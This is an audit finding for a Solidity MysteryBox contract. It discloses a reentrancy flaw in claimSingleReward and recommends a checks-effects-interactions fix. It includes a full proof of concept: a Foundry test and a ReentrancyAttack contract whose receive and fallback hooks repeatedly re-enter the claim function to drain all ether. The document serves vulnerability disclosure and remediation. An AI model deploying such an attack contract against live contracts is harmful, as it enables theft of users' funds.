Summary
MysteryBox::claimSingleReward does not follow the checks, effects and interactions pattern and is vulnerable to a reentrancy attack. This allows players holding a non-zero ether reward (bronze, silver, gold) to drain the balance of the contract.
Vulnerability Details
Overview:
The external call and updating of the contract state have been highlighted in the function below. As can be seen, the external call takes place before the state has been updated, which violates the CEI pattern.
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
@> (bool success,) = payable(msg.sender).call{value: value}("");
@> require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender][_index];
}
Players that have more than 0 ether worth of rewards can utilise a malicious contract with a fallback/receive function. These functions will continuously call MysteryBox::claimSingleReward before the state can be updated. This results in an excessive amount of funds being sent to the player and the contract being drained.
Proof of Code:
Insert the following test into TestMysteryBox.t.sol:
modifier boxesBought() {
uint256 boxPrice = mysteryBox.boxPrice();
vm.startPrank(user1);
uint256 boxesToBuy = 3;
for (uint8 i = 0; i < boxesToBuy; i++) {
mysteryBox.buyBox{value: boxPrice}();
mysteryBox.openBox();
}
vm.stopPrank();
_;
}
function testReentrancy_ClaimSingleReward() public boxesBought {
ReentrancyAttack reentrancyAttack = new ReentrancyAttack(mysteryBox);
uint256 attackCost = 0.5 ether;
uint256 initBalAttackerContract = address(reentrancyAttack).balance;
uint256 initBalContract = address(mysteryBox).balance;
console2.log("Initial bal attacker contract: ", initBalAttackerContract);
console2.log("Initial bal contract: ", initBalContract);
vm.prank(user2);
reentrancyAttack.attack{value: attackCost}();
uint256 finalBalContract = address(mysteryBox).balance;
uint256 finalBalAttackerContract = address(reentrancyAttack).balance;
console2.log("Final bal contract: ", finalBalContract);
console2.log("Final bal reentracy contract: ", finalBalAttackerContract);
assertEq(finalBalAttackerContract, initBalContract + attackCost);
assertEq(finalBalContract, 0);
}
The test above uses the contract below to demonstrate how a malicious player could construct a contract to exploit the reentrancy vulnerability of the MysteryBox::claimSingleReward function.
Add this contract to TestMysteryBox.t.sol also and run the test to observe the exploit.
contract ReentrancyAttack is Test {
MysteryBox mysteryBox;
uint256 rewardsValue;
constructor(MysteryBox _mysteryBox) {
mysteryBox = _mysteryBox;
}
function calculateRewardValue() public {
MysteryBox.Reward[] memory myRewards = mysteryBox.getRewards();
uint256 _rewardsValue = rewardsValue;
for (uint8 i = 0; i < myRewards.length; i++) {
_rewardsValue += myRewards[i].value;
if (rewardsValue > 0) {
break;
}
}
rewardsValue = _rewardsValue;
}
function obtainReward() public payable {
uint256 i = 0;
while (rewardsValue <= 0) {
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
calculateRewardValue();
i++;
console2.log("Attempt: ", i);
vm.warp(i);
}
}
function attack() public payable {
if (rewardsValue <= 0) {
obtainReward();
}
if (address(mysteryBox).balance >= rewardsValue) {
uint256 index = mysteryBox.getRewards().length - 1;
mysteryBox.claimSingleReward(index);
}
}
receive() external payable {
attack();
}
fallback() external payable {
attack();
}
}
As the test passes, it can be seen that the attacker was able to drain all ether from the MysteryBox contract.
Impact
The entire balance of the MysteryBox contract can be drained by a malicious player.
Tools Used
Manual review & Slither
Recommended Mitigations
Implement the checks, effects and interactions pattern in MysteryBox::ClaimSingleReward(), as seen below:
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
}
The state is now updated before the external call, ensuring the contract cannot be re-entered.
